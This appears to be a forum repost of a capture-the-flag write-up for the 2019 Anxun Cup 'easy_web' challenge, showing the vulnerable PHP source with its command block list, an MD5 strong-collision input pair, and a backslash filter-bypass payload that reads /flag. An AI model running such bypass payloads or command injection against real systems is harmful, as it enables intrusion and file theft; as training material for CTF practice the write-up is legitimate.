飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 7075|回复: 0

[安洵杯 2019]easy_web

[复制链接]

5919

主题

6007

帖子

2万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
20081
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式
& Z* U% O0 ?! y1 X% j! O2 T4 m
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>; R, M, \; Y2 g7 [5 c
<p>&nbsp;</p>
& [7 M3 R$ ?) |& r7 ?- J<p>&nbsp;</p>
4 c7 x- g% Q+ O( I<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>
7 u- l8 k5 D3 |/ [<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
: N) o- |' w3 n" a5 p/ J+ C<p>&nbsp;</p>  H( x# l0 A& {' C# M3 o& [
<p>&nbsp;</p>
# u4 X2 K, M0 o; G$ Z0 M7 D<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>
& g9 D/ n; P. [+ A! d<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
% ^8 ~+ a7 q+ }% |; r5 h' x<p>首先把那个进行一次base64位解码</p>
1 k, }! w+ I7 ?7 {* L+ u! e0 s<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
7 L, U: ^( C9 F* b. r( b<p>&nbsp;</p>9 B7 F* ^$ o" Y/ @& B( k- g
<p>&nbsp;</p>
( N$ O, h( e! s. |! a/ n% ~! {6 f<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>1 ?- @) X% i: j6 ]8 U
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>) R& u. }. M8 k  [+ c
<p>&nbsp;</p>( M/ \( p3 b( ?$ ?
<p>&nbsp;</p>
& D1 Y+ E, u4 P  X7 U/ T+ h! v6 _<p>&nbsp;然后用hex解码一下得到了</p>0 Z& l! g+ k- }
<div class="cnblogs_Highlighter">
& h, `- i& B0 c) g& J' n$ @# h5 e4 T) T<pre class="brush:sql;gutter:true;">555.png7 Q) f( z' c. Q* O2 D
</pre>( t3 G5 G$ h% S& g6 n1 i! V1 D" b; E
</div>* G8 A& q/ z% o$ N; F' H. d
<p>  用同样的方法把index.php进行加密</p>
  D9 y) k0 E; }/ b4 u<div class="cnblogs_Highlighter">
' g. M$ L- ~2 `  X2 \<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3* R9 s: c8 b+ p6 L8 {
</pre>
  C- N& J6 A' Y; W4 N</div>+ S) A: Q5 b  U( S) t: h3 U% x7 a
<p>  然后输入到地址栏</p>
" F" {+ `- R% E" r<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>1 ]' t; s7 H% R/ [* y2 P6 V+ c4 k
<div class="cnblogs_code">
! Z# L/ x% I. Q<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php% Z" _4 c0 j( {% C
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
0 q. D+ l5 b' [- L/ l- {3 F" h</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);  Q0 a, Z6 J4 m8 W* ]6 J! v. m
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];. r% _4 T$ a  U9 K: A0 `( W  r
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) % e; S3 }* A' _; X: f! G
    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);0 M  ?( A$ j1 [" n+ t$ t1 ~
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
7 G6 L& ]# b4 B  j4 \, q  R. \* C; f; v: D. w, n% O0 L! n
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
3 G, {8 |& W1 h  z; l</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
4 b$ k* I) z" i; T    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;- S- P6 o# I% o5 K
    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
' W  c  h& ?% T( J4 t} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
9 U! o& d# P$ E$ J! H* k    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
$ q8 b$ ]% F$ m: \    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;
( O7 m9 ]5 [& ?6 e3 q8 ~: z) J0 c    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
3 S6 f% D3 B5 Z) T8 C9 y}9 S5 \  n/ d5 d& f* {
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
* H% t; l7 P4 R4 q1 y</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;: y: O* S2 W" r6 @+ Z
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
5 r; x2 s( B2 F) h6 {% o    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);) v+ h6 _! n8 k/ O
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;5 ~# B3 h$ d1 O& t
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {! M" f! V$ S9 Y" \% Q6 `
    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
( d9 t7 v; x: S* ]1 V, v        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
1 Z9 w6 @0 O# \& z9 W    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {) e( o* w4 ]& P2 {: L
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);2 k' Y4 k# g4 n! H) `6 c% J
    }( a; {5 G0 \3 {4 B/ }
}7 k, w9 S0 j2 _4 G9 u( t0 u- ]
- V  @8 X) E1 f' _, r
</span>?&gt;) m6 N7 u5 M, U
&lt;html&gt;" b3 L$ t2 q' p% [: |( X% M
&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">. }# N# ?; }, P" g4 F+ A4 J! h3 r
  body{
/ F, S: o- U& Z# T   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
6 H1 @# Y, K# U% _   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;8 j5 n; W" S5 n# t
   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;- @  y* j, b3 X; x3 f% k
   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span># i3 `1 Y7 v7 \  Y8 _
<span style="color: rgba(0, 0, 0, 1)">}( i. l7 y) p- p3 |/ X5 a
</span>&lt;/style&gt;/ \4 [* k% F; P
&lt;body&gt;1 F8 i# }- |  F; M: y: h
&lt;/body&gt;
' v* N9 D& R7 n  L; e$ Y! ?. `&lt;/html&gt;</pre>
- [! N% t+ P' ]; t4 N</div>
/ _" l1 u% Z* `4 @<p>结合前面的推断,关键代码就在</p>) y* W9 o  Z  E$ w
<div class="cnblogs_code">: `- y- z9 C7 Q+ j( K6 ]
<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
0 f% M' B# W7 p/ U5 G% t, l/ y# I        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
; f8 G6 T, {8 ^- k' S/ T  p    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {3 u9 u. x+ [( }
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
9 }8 B2 W! {9 F* v    }</span></pre>
% j/ U  C( y. E  w. d3 {</div>
* {: |3 ~, ]) G1 c2 G: j, B% K8 T<p>这种MD5是md5强碰撞</p>1 G; Z- m! ]! T- Z, ^: g. m
<div class="cnblogs_Highlighter">
0 U) g% r# E6 |" {# u# D* Q<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a29 g  D, ?- K- n8 W8 \
</pre>6 ?% w! y- q8 h" s
</div>" t2 O5 K0 i+ q+ Y% @9 ]) Y: ~
<div class="cnblogs_Highlighter">; X8 H. ?' p; e
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
7 R/ n" I# e, b( d+ y</pre>" V$ i$ B$ m7 \$ g2 p% E/ p% @: s
</div>
0 T8 [4 z% E1 `$ ~<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>2 v" y. |3 o( Z. Q! d% `- t, W
<p>于是采用payload:</p>3 ?4 J3 v( q$ Y0 i" D" b
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
/ f" G/ s2 l8 r$ z' c# K6 }5 T3 H7 D6 }- R<p>&nbsp;</p>
, O# L8 s6 |8 n: e/ e<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>
; g8 e3 T/ B. p/ p0 M<p>ls和l\s在命令执行的时候结果是一样的。</p>
$ C( Z. B  h4 h; q- A; K: C$ C<p>然后发现根目录里面有/flag</p>
1 G, N7 H. R3 E5 t  x  p<p>于是payload:</p>+ P9 h: D* {0 M
<div class="cnblogs_Highlighter">& S7 ~, w& ]3 x3 d
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
6 j$ T1 l2 J! E</pre>
3 }+ n5 j3 w. ^! C& D" |4 T, Z& H: V</div>; ?. B" C+ q+ L' [
<p>  对于这个题目,因为他没有屏蔽sort和dir</p>: |$ R' T8 e$ r
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
6 i2 A' ^6 D8 r: R2 v9 ^( [, s<p>&nbsp;</p>
& \& R% }: o* N# R5 i+ E: G
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2025-2-23 03:09 , Processed in 0.068000 second(s), 21 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表